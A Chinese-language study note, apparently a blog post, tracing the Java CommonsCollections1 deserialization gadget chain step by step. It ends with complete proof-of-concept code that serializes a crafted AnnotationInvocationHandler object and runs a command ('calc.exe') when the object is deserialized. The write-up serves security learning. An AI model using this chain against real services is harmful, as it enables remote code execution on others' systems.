java-CC1 鏈條審計
CC1 是 CommonsCollections1 的簡稱,它是 Apache Commons Collections 庫中的一個已知的反序列化利用鏈。而這個庫也是 java 中比較通用的庫。在 java 語言裡面有執行系統命令的Runtime類
像 php 中的 eval()、system()、exec()、shell_exec()、assert()、passthru()、escapeshellcmd()、pcntl_exec()等命令執行函式相似
CC1 呼叫鏈條
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
ChainedTransformer.transform()
ConstantTransformer.transform()
Map().setValue()
Entry.setValue()
TransformedMap.checkSetValue()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
終點發現
InvokerTransformer
在 InvokerTransformer
類中有一個 transform
方法,他在方法裡面對 傳入的引數 進行了反射,執行了方法。
讓我們來執行下邊程式碼,看一下這個重點是否是可以執行命令的
public class ApacheCC1 {
public void testInvoker(){
Runtime runtime = Runtime.getRuntime();
Object[] args = new Object[]{"calc.exe"};
String methodName = "exec";
Class[] paramType = new Class[]{String.class};
InvokerTransformer transformer = new InvokerTransformer(methodName,paramType,args);
transformer.transform(runtime);
}
public static void main(String[] args) throws Exception {
ApacheCC1 a = new ApacheCC1();
a.testInvoker();
}
}
透過向 InvokerTransformer
傳入反射的 Runtime
類,可以看到,我們成功開啟了我們電腦上的計算器。
這就說明了這個反序列的終點是可用的。
找到了終點,我們透過 idea 的功能去尋找看看有沒有可控的引數呼叫這個終點函式 tansform()
方法
TransformedMap
我們已經知道了 CC1 鏈條的結果,就不必再去複審可能的結果,直接看鏈條構成的函式
TransformedMap.checkSetValue()
方法
接著檢視 checkSetValue()
是誰再呼叫
發現就這一個結果 MapEntry
的 setValue()
在呼叫,我們可以寫段程式碼來驗證這個 SetValue()
方法是否可以執行命令。
- 當然我們在建立
TransformedMap
類時發現,它的構造方法是protected
,也就是不能直接 new()出這個物件
- 我們在本類裡檢視,有沒有方法呼叫了這個構造方法,可以藉助其他方法幫我們完成例項化
TransformedMap
看到 decorate()
這個 public
的方法呼叫了 TransformedMap
的構造方法
用下面這段程式碼,檢驗這個方法是否可以呼叫
public void test02() {
System.out.println("正在執行");
Runtime runtime = Runtime.getRuntime();
Object[] args = new Object[]{"calc.exe"};
String methodName = "exec";
Class[] paramType = new Class[]{String.class};
InvokerTransformer transformer =new InvokerTransformer(methodName,paramType,args);
Transformer valueTrans = transformer;
Map map = new HashMap();
map.put(1,1);
Map<Object,Object> transformed = TransformedMap.decorate(map,null,valueTrans);
for(Map.Entry entry : transformed.entrySet()) {
entry.setValue(runtime);
}
}
執行,成功開啟了計算機
注意:這裡之所以會去繼續找上層的 MapEntry
的 setValue()
方法,是因為我們透過 TransformedMap.decorate()
方法獲取的物件是 Map
類,而 Map
類是 TransformedMap
的父類,他不能呼叫子類的 checkSetValue()
方法,無法使鏈條閉環
起點
AnnotationInvocationHandler
在 JDK 的內建物件中 sun.reflect.annotation.AnnotationInvocationHandler
中的 readObject()
方法呼叫了 setValue()
方法
readObject()
就是反序列化自動執行的程式碼。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
}
可以看到這段程式碼在第 26 行呼叫了 setValue()
方法,但是我們仍然遇到了問題
- 要滿足 if 語句中
memberType != null
和!(memberType.isInstance(value) ||value instanceof ExceptionProxy)
的判斷,讓程式碼可以自動執行到setValue()
方法 setValue()
方法的引數得換成RunTime
物件
嘗試除錯執行以下程式碼
public class ApacheCC1 {
public void test03() throws Exception {
Runtime runtime = Runtime.getRuntime();
Object[] args = new Object[]{"calc.exe"};
String methodName = "exec";
Class[] paramType = new Class[]{String.class};
InvokerTransformer transformer =new InvokerTransformer(methodName,paramType,args);
Transformer valueTrans = transformer;
Map map = new HashMap();
map.put("value","1");
Map<Object,Object> transformed = TransformedMap.decorate(map,null,valueTrans);
// for(Map.Entry entry : transformed.entrySet()) {
// entry.setValue(runtime);
// }
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(SuppressWarnings.class,transformed);
FileOutputStream fos = new FileOutputStream("src/main/upload/ApacheCC1.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
}
public void unserializeCC1() throws Exception {
FileInputStream fis = new FileInputStream("src/main/upload/ApacheCC1.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
System.out.println("執行完成");
}
public static void main(String[] args) throws Exception {
ApacheCC1 a = new ApacheCC1();
a.test03();
a.unserializeCC1();
}
}
可以看到,我們的鏈條已經滿足了 if 語句裡的判斷,進入了
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
但是我們 setValue()
方法的引數是無效的引數
這時候就巧妙地用到了 constantTransformer.transform()
方法,因為這個方法不管引數是什麼,他最終都只會返回 iConstant
物件,我們把這個類裡的 iConstant
賦值為 Runtime
物件,就可以使鏈條閉環
但是這樣我們在傳入引數的時候又遇到了一個問題
- 就是我要傳入兩個有
transform()
方法的類constantTransformer
和InvokerTransformer
這時候我們就看到了 ChainedTransformer
的 transform()
方法,他是在遍歷物件的 transform()
方法
這就允許我們的 CC1 鏈條完全閉環
最終程式碼
public class ApacheCC1 {
public void CC1() throws Exception {
Map map = new HashMap();
map.put("value","1");
// ConstantTransformer返回Runtime
ConstantTransformer constantTrans = new ConstantTransformer(Runtime.class);
// 反射出Runtime
Transformer[] transformed_arry = new Transformer[]{
constantTrans,
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
// ChainedTransformer迴圈呼叫transform()方法
ChainedTransformer chainedTrans = new ChainedTransformer(transformed_arry);
// 例項化傳入ChainedTransformer物件
Map<Object,Object> transformed = TransformedMap.decorate(map,null,chainedTrans);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(SuppressWarnings.class,transformed);
FileOutputStream fos = new FileOutputStream("src/main/upload/ApacheCC1.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
}
public void unserializeCC1() throws Exception {
FileInputStream fis = new FileInputStream("src/main/upload/ApacheCC1.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
System.out.println("執行完成");
}
public static void main(String[] args) throws Exception {
ApacheCC1 a = new ApacheCC1();
a.CC1();
a.unserializeCC1();
}
}
總結
我過程寫的很簡潔,因為我們在上帝視角來看這條鏈條,沒有真正審計時候的迷茫和一些心理的煎熬。
而筆記的主要作用也是幫助我們可以串思路,能夠想起這個鏈條的幾個轉折點夠了
- MapEntry 的 setValue()方法,因為``TransformedMap.decorate()
方法獲取的物件是
Map類,而
Map類是
TransformedMap的父類,他不能呼叫子類的
checkSetValue()`方法 - 尋找起點時的 ChainedTransformer.transform() ==> ConstantTransformer.transform() ==> InvokerTransformer的竅門利用
- Runtime類反射傳入InvokerTransformer,應為Runtime類不能被序列化